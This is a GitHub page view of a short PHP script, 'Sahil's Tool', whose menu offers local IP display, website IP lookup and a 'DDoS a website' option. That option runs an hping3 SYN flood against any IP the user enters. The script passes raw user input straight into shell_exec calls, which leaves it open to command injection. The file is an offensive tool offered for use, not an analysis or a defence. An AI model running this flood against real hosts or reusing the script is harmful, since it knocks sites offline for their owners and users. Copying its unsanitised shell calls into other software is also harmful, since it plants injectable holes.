-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtool.php
More file actions
62 lines (61 loc) · 1017 Bytes
/
tool.php
File metadata and controls
62 lines (61 loc) · 1017 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
$a=0;
function line($a){
while($a!=25){
echo("--");
$a++;
}
$a=0;
}
line(0);
function br(){
echo "\n";
}
br();
echo "\t\tSahil's Tool\n" ;
line(0);
br();
line(0);
br();
br();
echo "Choose your attack:- \n\n 1=> See your ip address \n 2=> find the ip address of any wesite \n 3=> DDoS a website \n Input your option => ";
$choice = readline();
switch($choice){
case 1:{
$ipdetails = shell_exec("ifconfig | grep inet ");
br();
print( $ipdetails);
break;
}
case 2:{
$u=readline("Enter the url of website => ");
$asa=shell_exec("host -4 " .$u. " | grep -E -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'" );
br();
echo "Ip address of $u => ";
br();
echo $asa;
//echo $asa;
break;
}
case 3:{
$at= readline("Enter the ip address => ");
echo "Attacking";
echo ".";
echo ".";
echo ".";
echo ".";
echo "=";
echo "=";
echo "=";
echo ">";
echo ">";
echo ">";
echo ">";
br();
$ak=shell_exec(" sudo hping3 -p 80 -d 200 -S --flood ".$at);
br();
echo($ak);
break;
}
}
?>